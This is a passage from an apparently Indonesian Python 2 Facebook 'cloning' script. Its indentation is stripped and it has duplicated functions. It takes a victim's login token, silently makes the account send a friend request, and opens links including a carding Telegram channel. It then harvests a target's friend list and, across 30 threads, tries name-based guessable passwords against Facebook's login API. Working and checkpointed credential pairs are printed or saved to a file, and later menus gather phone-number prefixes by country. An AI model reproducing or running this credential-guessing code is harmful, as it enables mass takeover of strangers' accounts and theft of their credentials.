░░░░░░░░████░░████░░░████░░░░░░░
░░░░░░░░████▄▄████░░░████░░░░░░░
░░░░░░░░██████████░░░████░░░░░░░
░░░░░░░░████▀▀████░░░████░░░░░░░
░░░░░░░░████░░████░░░████░░░░░░░
░░░░░░░░████░░████░░░████░░░░░░░
░░░░░░░░████░░████░░░████░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░"""
print "\033[1;93m⊱⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⊰"
jalan("\033[1;93m███████▓█████▓▓╬╬╬╬╬╬╬╬▓███▓╬╬╬╬╬╬╬▓╬╬▓█ ")
jalan("\033[1;93m████▓▓▓▓╬╬▓█████╬╬╬╬╬╬███▓╬╬╬╬╬╬╬╬╬╬╬╬╬█ ")
jalan("\033[1;93m███▓▓▓▓╬╬╬╬╬╬▓██╬╬╬╬╬╬▓▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█ ")
jalan("\033[1;93m████▓▓▓╬╬╬╬╬╬╬▓█▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█ ")
jalan("\033[1;93m███▓█▓███████▓▓███▓╬╬╬╬╬╬▓███████▓╬╬╬╬▓█ ")
jalan("\033[1;93m████████████████▓█▓╬╬╬╬╬▓▓▓▓▓▓▓▓╬╬╬╬╬╬╬█ ")
jalan("\033[1;93m███▓▓▓▓▓▓▓╬╬▓▓▓▓▓█▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█ ")
jalan("\033[1;93m████▓▓▓╬╬╬╬▓▓▓▓▓▓█▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█ ")
jalan("\033[1;93m███▓█▓▓▓▓▓▓▓▓▓▓▓▓▓▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█ ")
jalan("\033[1;93m█████▓▓▓▓▓▓▓▓█▓▓▓█▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█ ")
jalan("\033[1;93m█████▓▓▓▓▓▓▓██▓▓▓█▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬██ ")
jalan("\033[1;93m█████▓▓▓▓▓████▓▓▓█▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬██ ")
jalan("\033[1;93m████▓█▓▓▓▓██▓▓▓▓██╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬██ ")
jalan("\033[1;93m████▓▓███▓▓▓▓▓▓▓██▓╬╬╬╬╬╬╬╬╬╬╬╬█▓╬▓╬╬▓██ ")
jalan("\033[1;93m█████▓███▓▓▓▓▓▓▓▓████▓▓╬╬╬╬╬╬╬█▓╬╬╬╬╬▓██ ")
jalan("\033[1;93m█████▓▓█▓███▓▓▓████╬▓█▓▓╬╬╬▓▓█▓╬╬╬╬╬╬███ ")
jalan("\033[1;93m██████▓██▓███████▓╬╬╬▓▓╬▓▓██▓╬╬╬╬╬╬╬▓███ ")
jalan("\033[1;93m███████▓██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓╬╬╬╬╬╬╬╬╬╬╬████ ")
jalan("\033[1;93m███████▓▓██▓▓▓▓▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓████ ")
jalan("\033[1;93m████████▓▓▓█████▓▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█████ ")
jalan("\033[1;93m█████████▓▓▓█▓▓▓▓▓███▓╬╬╬╬╬╬╬╬╬╬╬▓██████ ")
jalan("\033[1;93m██████████▓▓▓█▓▓▓╬▓██╬╬╬╬╬╬╬╬╬╬╬▓███████ ")
jalan("\033[1;93m███████████▓▓█▓▓▓▓███▓╬╬╬╬╬╬╬╬╬▓████████ ")
jalan("\033[1;93m██████████████▓▓▓███▓▓╬╬╬╬╬╬╬╬██████████ ")
jalan("\033[1;93m███████████████▓▓▓██▓▓╬╬╬╬╬╬▓███████████")
print "\033[1;93m⊱⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⊰"
logo = """
\033[1;91m ▒▒▒▒▒▒▒▒▒▒▒▄▄▄▄░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
\033[1;91m ▒▒▒▒▒▒▒▒▒▄██████▒▒▒▒▒▄▄▄█▄▒▒▒▒▒▒▒▒▒▒
\033[1;91m ▒▒▒▒▒▒▒▄██▀░░▀██▄▒▒▒▒████████▄▒▒▒▒▒▒
\033[1;91m ▒▒▒▒▒▒███░░░░░░██▒▒▒▒▒▒█▀▀▀▀▀██▄▄▒▒▒
\033[1;91m ▒▒▒▒▒▄██▌░░░░░░░██▒▒▒▒▐▌▒▒▒▒▒▒▒▒▀█▄▒
\033[1;91m ▒▒▒▒▒███░░▐█░█▌░██▒▒▒▒█▌▒▒▒▒▒▒▒▒▒▒▀▌
\033[1;91m ▒▒▒▒████░▐█▌░▐█▌██▒▒▒██▒▒▒▒▒▒▒▒▒▒▒▒▒ \033[1;93m
\033[1;91m ▒▒▒▐████░▐░░░░░▌██▒▒▒█▌▒▒▒▒▒▒▒▒▒▒▒▒▒
\033[1;91m ▒▒▒▒████░░░▄█░░░██▒▒▐█▒▒▒▒▒▒▒▒▒▒▒▒▒▒
\033[1;91m ▒▒▒▒████░░░██░░██▌▒▒█▌▒▒▒▒▒▒▒▒▒▒▒▒▒▒
\033[1;91m ▒▒▒▒████▌░▐█░░███▒▒▒█▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
\033[1;91m ▒▒▒▒▐████░░▌░███▒▒▒██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
\033[1;97m ▒▒▒▒▒████░░░███▒▒▒▒█▌▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
\033[1;97m ▒▒▒██████▌░████▒▒▒██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
\033[1;97m ▒▐████████████▒▒███▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
\033[1;97m ▒█████████████▄████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
\033[1;97m ██████████████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
\033[1;97m ██████████████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
\033[1;97m █████████████████▀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
\033[1;97m █████████████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
\033[1;97m ████████████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
\033[1;97m ████████████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
\033[1;97m╔═══════════════════════════════════════╗
\033[1;97m║\033[1;93m* \033[1;97mAUTHOR \033[1;91m: \033[1;96mPaceUsa \033[1;97m ║
\033[1;97m║\033[1;93m* \033[1;97mGITHUB \033[1;91m: \033[1;92mhttps://github.com/Ahmadchen\033[1;97m║
\033[1;97m║\033[1;93m* \033[1;97mFB \033[1;91m: \033[1;92mPACEUSA GANS ID Squad. \033[1;97m ║
\033[1;97m╚═══════════════════════════════════════╝
\033[1;96m⊱══════════⊱═⊰Anonymous Wibu⊱══════════⊱═⊰
"""
CorrectUsername = "PaceUsa"
CorrectPassword = "AnonymousID"
loop = 'true'
while (loop == 'true'):
username = raw_input("\033[1;96m[☆] \x1b[1;97mKETIK PaceUsa \x1b[1;96m>>>> ")
if (username == CorrectUsername):
password = raw_input("\033[1;96m[☆] \x1b[1;97mKETIK AnonymousID \x1b[1;96m>>>> ")
if (password == CorrectPassword):
print "Logged in successfully as " + username
loop = 'false'
else:
print "Salah Tolol! Ketik AnonymousID"
os.system('xdg-open https://www.t.me/cardingtutorialfreeindonesia')
else:
print "Salah Tolol! Ketik PaceUsa"
os.system('xdg-open https://www.facebook.com/cicicyber.squadindo.7')
def tik():
titik = ['. ','.. ','... ']
for o in titik:
print("\r\x1b[1;93mMohon Tunggu \x1b[1;93m"+o),;sys.stdout.flush();time.sleep(1)
back = 0
berhasil = []
cekpoint = []
oks = []
id = []
listgrup = []
gagal = []
idfriends = []
idfromfriends = []
idmem = []
em = []
emfromfriends = []
hp = []
hpfromfriends = []
reaksi = []
reaksigrup = []
komen = []
komengrup = []
listgrup = []
vulnot = "\033[31mNot Vuln"
vuln = "\033[32mVuln"
back = 0
threads = []
sucessful = []
checkpoint = []
oks = []
action_failed = []
idfriends = []
idfromfriends = []
member_id = []
email= []
number = []
id = []
em = []
email_from_friends = []
hp = []
hpfromfriends = []
reaction = []
reactiongroup = []
comment = []
group_comment = []
listgroup = []
vulnot = "\033[31mNot Vuln"
vuln = "\033[32mVuln"
##### LICENSE #####
#=================#
def lisensi():
os.system('clear')
login()
####login#########
def login():
os.system('clear')
print logo
jalan("\033[1;97m⊱⋕⊰══════════════════════════════════════⊱⋕⊰")
print "\033[1;91m>>>\033[1;91m[1]\033[1;92m Cloning Semua Negara \033[1;91m(\033[1;97mTanpa Fb login\033[1;91m) "
time.sleep(0.05)
print "\033[1;91m>>>\033[1;91m[2]\033[1;94m Login Pakai Facebook "
time.sleep(0.05)
print "\033[1;91m>>>\033[1;91m[3]\033[1;92m Login Pakai Akses token "
time.sleep(0.05)
print "\033[1;91m>>>\033[1;91m[4]\033[1;94m Unduh Akses token"
time.sleep(0.05)
print "\033[1;91m>>>\033[1;91m[5]\033[1;92m Ikuti Fb Saya"
time.sleep(0.05)
print "\033[1;91m>>>\033[1;91m[6]\033[1;94m Follow Ig Saya"
time.sleep(0.05)
print "\033[1;91m>>>\033[1;91m[0]\033[1;96m Keluar "
jalan("\033[1;97m⊱⋕⊰══════════════════════════════════════⊱⋕⊰")
pilih_login()
def pilih_login():
peak = raw_input("\n\033[1;92mPilih Nomer═╬══►\033[1;95m")
if peak =="":
print "\x1b[1;91mFill in correctly"
pilih_login()
elif peak =="1":
menu()
elif peak =="2":
login1()
elif peak =="3":
tokenz()
elif peak =="4":
os.system('xdg-open https://play.google.com/store/apps/details?id=com.proit.thaison.getaccesstokenfacebook')
login()
elif peak =="5":
os.system('xdg-open https://www.facebook.com/cicicyber.squadindo.7')
login()
elif peak =="6":
os.system('xdg-open https://Instagram.com/cyber_mrlinkerrorsystemoffical')
login()
elif unikers =="0":
os.system('rm -rf login.txt')
keluar()
else:
print "\x1b[1;91mFill in correctly"
pilih()
def login1():
os.system('clear')
try:
toket = open('login.txt','r')
menu()
except (KeyError,IOError):
os.system('clear')
time.sleep(0.05)
print logo
jalan("\033[1;96m⊱⋕⊰══════════════════════════════════════⊱⋕⊰")
jalan('\033[1;96m[✾]\x1b[1;91mJANGAN GUNAKAN AKUN OLD UNTUK LOGIN\x1b[1;96m[✾]' )
jalan('\033[1;96m[✾]\x1b[1;91mGUNAKAN AKUN BARU BUAT/LOGIN FIA TOKEN\x1b[1;96m[✾]' )
id = raw_input('\033[1;96m[!!] \x1b[0;34mID/Email \x1b[1;91m: \x1b[1;92m')
pwd = raw_input('\033[1;96m[!!] \x1b[0;34mPassword \x1b[1;91m: \x1b[1;92m')
jalan("\033[1;96m⊱⋕⊰══════════════════════════════════════⊱⋕⊰")
tik()
try:
br.open('https://m.facebook.com')
except mechanize.URLError:
print"\n\x1b[1;97mThere is no internet connection"
keluar()
br._factory.is_html = True
br.select_form(nr=0)
br.form['email'] = id
br.form['pass'] = pwd
br.submit()
url = br.geturl()
if 'save-device' in url:
try:
sig= 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail='+id+'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword='+pwd+'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32'
data = {"api_key":"882a8490361da98702bf97a021ddc14d","credentials_type":"password","email":id,"format":"JSON", "generate_machine_id":"1","generate_session_cookies":"1","locale":"en_US","method":"auth.login","password":pwd,"return_ssl_resources":"0","v":"1.0"}
x=hashlib.new("md5")
x.update(sig)
a=x.hexdigest()
data.update({'sig':a})
url = "https://api.facebook.com/restserver.php"
r=requests.get(url,params=data)
z=json.loads(r.text)
unikers = open("login.txt", 'w')
unikers.write(z['access_token'])
unikers.close()
jalan( '\n\x1b[1;95mLogin Successful...')
os.system('xdg-open https://www.facebook.com/cicicyber.squadindo.7')
requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token='+z['access_token'])
menu()
except requests.exceptions.ConnectionError:
print"\n\x1b[1;97mThere is no internet connection"
keluar()
if 'checkpoint' in url:
print("\n\x1b[1;97mSepertinya Akun Anda Terkena Checkpoint")
os.system('rm -rf login.txt')
time.sleep(1)
keluar()
else:
print("\n\x1b[1;93mPassword/Email Anda Salah")
os.system('rm -rf login.txt')
time.sleep(1)
login()
def tokenz():
os.system('clear')
print logo
toket = raw_input("\033[1;91m[+]\033[1;92mToken\033[1;91m :\033[1;95mMasukkan tautan token accees tanpa login Fb>> ")
try:
otw = requests.get('https://graph.facebook.com/me?access_token='+toket)
a = json.loads(otw.text)
nama = a['name']
zedd = open("login.txt", 'w')
zedd.write(toket)
zedd.close()
menu()
except KeyError:
print "\033[1;91m[!] Salah"
e = raw_input("\033[1;91m[?] \033[1;92mAnda Tau token? Kalo Tidak Tau Pm Saya!\033[1;97m[y/n]: ")
if e =="":
keluar()
elif e =="y":
login()
else:
keluar()
def menu():
os.system('clear')
try:
toket=open('login.txt','r').read()
except IOError:
os.system('clear')
print"\x1b[1;94mToken invalid"
os.system('rm -rf login.txt')
time.sleep(1)
login()
try:
o = requests.get('https://graph.facebook.com/me?access_token='+toket)
a = json.loads(o.text)
nama = a['name']
id = a['id']
t = requests.get('https://graph.facebook.com/me/subscribers?access_token=' + toket)
b = json.loads(t.text)
sub = str(b['summary']['total_count'])
except KeyError:
os.system('clear')
print"\033[1;97mSepertinya Akun Anda Terkena Checkpoint"
os.system('rm -rf login.txt')
time.sleep(1)
login()
except requests.exceptions.ConnectionError:
print"\x1b[1;94mThere is no internet connection"
keluar()
os.system("clear")
print logo
jalan( "\033[1;93m⊱⋕⊰═════════════════════════════════════════⊱⋕⊰" )
print " \033[1;36;40m\033[1;32;40m[*] Name\033[1;32;40m: "+nama+" \033[1;36;40m"
print " \033[1;36;40m\033[1;32;40m[*] ID \033[1;32;40m: "+id+" \033[1;36;92m"
print " \033[1;36;40m\033[1;32;40m[*] Subs\033[1;32;40m: "+sub+" \033[1;36;92m"
jalan( "\033[1;93m⊱⋕⊰═════════════════════════════════════════⊱⋕⊰")
print "\033[1;32;98m[1] \033[1;96m>> Mulai Cloning "
print "\033[1;32;98m[0] \033[1;96m>> Keluar"
pilih()
def pilih():
unikers = raw_input("\n\033[1;31;40m>>> \033[1;35;40m")
if unikers =="":
print "\x1b[1;91mFill in correctly"
pilih()
elif unikers =="1":
super()
elif unikers =="2":
os.system('clear')
print logo
print "\033[1;96m⊱⋕⊰══════════════════════════════════════════⊱⋕⊰\n"
os.system('git pull origin master')
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu()
elif unikers =="0":
jalan('Token Removed')
os.system('rm -rf login.txt')
keluar()
else:
print "\x1b[1;91mFill in correctly"
pilih()
def super():
global toket
os.system('clear')
try:
toket=open('login.txt','r').read()
except IOError:
print"\x1b[1;91mToken invalid"
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('clear')
print logo
print "\033[1;96m⊱⋕⊰══════════════════════════════════════════⊱⋕⊰\n"
jalan( "\x1b[1;32;92m[1] \033[1;33;98m>> Hack Daftar Teman Publik")
jalan( "\x1b[1;32;36m[0] \033[1;33;96m>> Keluar")
print "\033[1;96m⊱⋕⊰══════════════════════════════════════════⊱⋕⊰\n"
pilih_super()
def pilih_super():
peak = raw_input("\n\033[1;31;40m>>> \033[1;97m")
if peak =="":
print "\x1b[1;91mFill in correctly"
pilih_super()
elif peak =="1":
os.system('clear')
print logo
print "\033[1;96m⊱⋕⊰═══════════════════════════════════════⊱⋕⊰\n"
idt = raw_input("\033[1;96m[⊱⋕⊰]\033[1;93m Enter ID/USERNAME\033[1;91m : ")
try:
jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket)
op = json.loads(jok.text)
print"\033[1;31;37m[⊱⋕⊰] Name : "+op["name"]
except KeyError:
print"\x1b[1;37m[⊱⋕⊰] ID Not Found!"
raw_input("\n\033[1;96m[\033[1;94mBack\033[1;96m]")
super()
print"\033[1;35;37m[⊱⋕⊰] Jangan Dulu Keluar Peler Lagi Proses... "
r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket)
z = json.loads(r.text)
for i in z['data']:
id.append(i['id'])
elif peak =="0":
menu()
else:
print "\x1b[1;91mFill in correctly"
pilih_super()
print "\033[1;36;96m[⊱⋕⊰] Total ID : \033[1;92m"+str(len(id))
jalan('\033[1;34;96m[⊱⋕⊰] Mohon Tunggu ')
titik = ['. ','.. ','... ']
for o in titik:
print("\r\033[1;32;40m[⊱⋕⊰] Cloning\033[1;93m"+o),;sys.stdout.flush();time.sleep(1)
print "\n\033[1;94m ❈ \x1b[1;91mTo Stop Process Press CTRL+Z \033[1;94m ❈"
print "\033[1;96m⊱⋕⊰══════════════════════════════════════════⊱⋕⊰"
def main(arg):
global oks
user = arg
try:
os.mkdir('out')
except OSError:
pass #Dev:Yayan-XD
try:
a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket)
b = json.loads(a.text)
pass1 = b['first_name']+'786'
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass1)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;96m[\x1b[1;92mValid_OK\x1b[1;58m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass1
oks.append(user+pass1)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;96m[\x1b[1;93mInvalid_CP\x1b[1;58m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass1
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass1+"\n")
cek.close()
cekpoint.append(user+pass1)
else:
pass2 = b['first_name']+'123'
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass2)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;96m[\x1b[1;92mValid_OK\x1b[1;58m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass2
oks.append(user+pass2)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;96m[\x1b[1;93mInvalid_CP\x1b[1;12m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass2
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass2+"\n")
cek.close()
cekpoint.append(user+pass2)
else:
pass3 = b['first_name'] + '1234'
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass3)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;96m[\x1b[1;92mValid_OK\x1b[1;58m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass3
oks.append(user+pass3)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;96m[\x1b[1;93mInvalid_CP\x1b[1;58m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass3
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass3+"\n")
cek.close()
cekpoint.append(user+pass3)
else:
pass4 = b['first_name'] + '12345'
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass4)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;96m[\x1b[1;92mValid_OK\x1b[1;58m]\x1b[1;58m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass4
oks.append(user+pass4)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;96m[\x1b[1;93mInvalid_CP\x1b[1;58m]\x1b[1;58m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass4
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass4+"\n")
cek.close()
cekpoint.append(user+pass4)
else:
pass5 = b['first_name'] + '123456'
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass5)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;96m[\x1b[1;92mValid_OK\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;58m|\x1b[1;97m ' + pass5
oks.append(user+pass5)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;96m[\x1b[1;93mInvalid_CP\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;58m|\x1b[1;97m ' + pass5
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass5+"\n")
cek.close()
cekpoint.append(user+pass5)
else:
pass6 = b['last_name'] + '786'
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass6)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;96m[\x1b[1;92mValid_OK\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;58m|\x1b[1;97m ' + pass6
oks.append(user+pass6)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;96m[\x1b[1;93mInvalid_CP\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;58m|\x1b[1;97m ' + pass6
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass6+"\n")
cek.close()
cekpoint.append(user+pass6)
else:
a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket)
b = json.loads(a.text)
pass7 = b['last_name'] + '12345'
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass7)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;96m[\x1b[1;92mValid_OK\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;58m|\x1b[1;97m ' + pass7
oks.append(user+pass7)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;96m[\x1b[1;93mInvalid_CP\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;58m|\x1b[1;97m ' + pass7
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass7+"\n")
cek.close()
cekpoint.append(user+pass7)
except:
pass
p = ThreadPool(30)
p.map(main, id)
print "\033[1;96m⊱⋕⊰══════════════════════════════════════════⊱⋕⊰"
print '\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;92mProcess Telah Selesai \033[1;97m....'
print"\033[1;96m[+] \033[1;92mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;92m"+str(len(oks))+"\033[1;97m/\033[1;93m"+str(len(cekpoint))
print("\033[1;96m[+] \033[1;92mCP File Sudah Tersimpan \033[1;91m: \033[1;97mout/checkpoint.txt")
raw_input("\n\033[1;96m[\033[1;97mBack\033[1;96m]")
menu()
def menu():
os.system('clear')
print logo
print 42*"\033[1;91m="
print '\033[1;94m[1]\033[1;92m Bangladesh \033[1;91m⇋ \033[1;94m[20]\033[1;93m Albania'
print '\033[1;94m[2]\033[1;92m USA \033[1;91m⇋ \033[1;94m[21]\033[1;93m Algeria'
print '\033[1;94m[3]\033[1;92m UK \033[1;91m⇋ \033[1;94m[22]\033[1;93m Andorra'
print '\033[1;94m[4] \033[1;92m India \033[1;91m⇋ \033[1;94m[23]\033[1;93m Armenia'
print '\033[1;94m[5]\033[1;92m Brazil \033[1;91m⇋ \033[1;94m[24]\033[1;93m Georgia'
print '\033[1;94m[6]\033[1;92m Japan \033[1;91m⇋ \033[1;94m[25]\033[1;93m Iceland'
print '\033[1;94m[7]\033[1;92m Korea \033[1;91m⇋ \033[1;94m[26]\033[1;93m China'
print '\033[1;94m[8]\033[1;92m Italy \033[1;91m⇋ \033[1;94m[27]\033[1;93m Bhutan'
print '\033[1;94m[9]\033[1;92m Spain \033[1;91m⇋ \033[1;94m[28]\033[1;93m Mongolia'
print '\033[1;94m[10]\033[1;92m Poland \033[1;91m⇋ \033[1;94m[29]\033[1;93m New Zealand'
print '\033[1;94m[11]\033[1;92m Pakistan \033[1;91m⇋ \033[1;94m[30]\033[1;93m Sudan'
print '\033[1;94m[12]\033[1;92m Indonisia \033[1;91m⇋ \033[1;94m[+]\033[1;93m Pak Nbr Fb Clone\033[1;94m[+] '
print '\033[1;94m[13]\033[1;92m Iran \033[1;91m⇋ \033[1;94m[A]\033[1;93m Telenor'
print '\033[1;94m[14]\033[1;92m Grecee \033[1;91m⇋ \033[1;94m[B]\033[1;93m Zong'
print '\033[1;94m[15]\033[1;92m Afghanistan \033[1;91m⇋ \033[1;94m[C]\033[1;93m Jazz'
print '\033[1;94m[16]\033[1;92m Syria \033[1;91m⇋ \033[1;94m[+]\033[1;93m Bangal Nbr Fb Clone\033[1;94m[+] '
print '\033[1;94m[17]\033[1;92m Turky \033[1;91m⇋ \033[1;94m[D]\033[1;93m Airtel/Robi'
print '\033[1;94m[18]\033[1;92m Iraq \033[1;91m⇋ \033[1;94m[E]\033[1;93m Grameenphone'
print '\033[1;94m[19]\033[1;92m France \033[1;91m⇋ \033[1;94m[F]\033[1;93m Banglalink'
print '[0]\033[1;97m Keluar '
print '>>\033[1;92m Selamat Datang Di Script \033[1;91m(\033[1;97mAnonymous Pace Usa\033[1;91m) '
print 42*"\033[1;91m="
action()
def action():
bch = raw_input('\n\033[1;91mPilih Nomer \033[1;93m>>>\033[1;95m ')
if bch =='':
print '[!] Isi dengan benar'
action()
elif bch =="1":
os.system("clear")
print (logo)
print("\033[1;93m175,165,191, 192, 193, 194, 195, 196, 197, 198, 199")
try:
c = raw_input("\033[1;96m Masukan Kode : ")
k="+880"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="2":
os.system("clear")
print (logo)
print("786, 815, 315, 256, 401, 718, 917, 202, 701, 303, 703, 803, 999, 708")
try:
c = raw_input(" Masukan Kode : ")
k="+1"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="3":
os.system("clear")
print (logo)
print("737, 706, 748, 783, 739, 759, 790")
try:
c = raw_input(" Masukan Kode : ")
k="+44"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="4":
os.system("clear")
print (logo)
print("954, 897, 967, 937, 700, 727, 965, 786, 874, 856, 566, 590, 527, 568, 578")
try:
c = raw_input(" Masukan Kode : ")
k="+91"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="5":
os.system("clear")
print (logo)
print("127, 179, 117, 853, 318, 219, 834, 186, 479, 113")
try:
c = raw_input(" Masukan Kode : ")
k="+55"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="6":
os.system("clear")
print (logo)
print("11, 12, 19, 16, 15, 13, 14, 18, 17")
try:
c = raw_input(" Masukan Kode : ")
k="+81"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="7":
os.system("clear")
print (logo)
print("1, 2, 3, 4, 5, 6, 7, 8, 9")
try:
c = raw_input(" Masukan Kode : ")
k="+82"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="8":
os.system("clear")
print (logo)
print("388, 390, 391, 371, 380, 368, 386, 384, 332, 344, 351, 328")
try:
c = raw_input(" Masukan Kode : ")
k="+39"
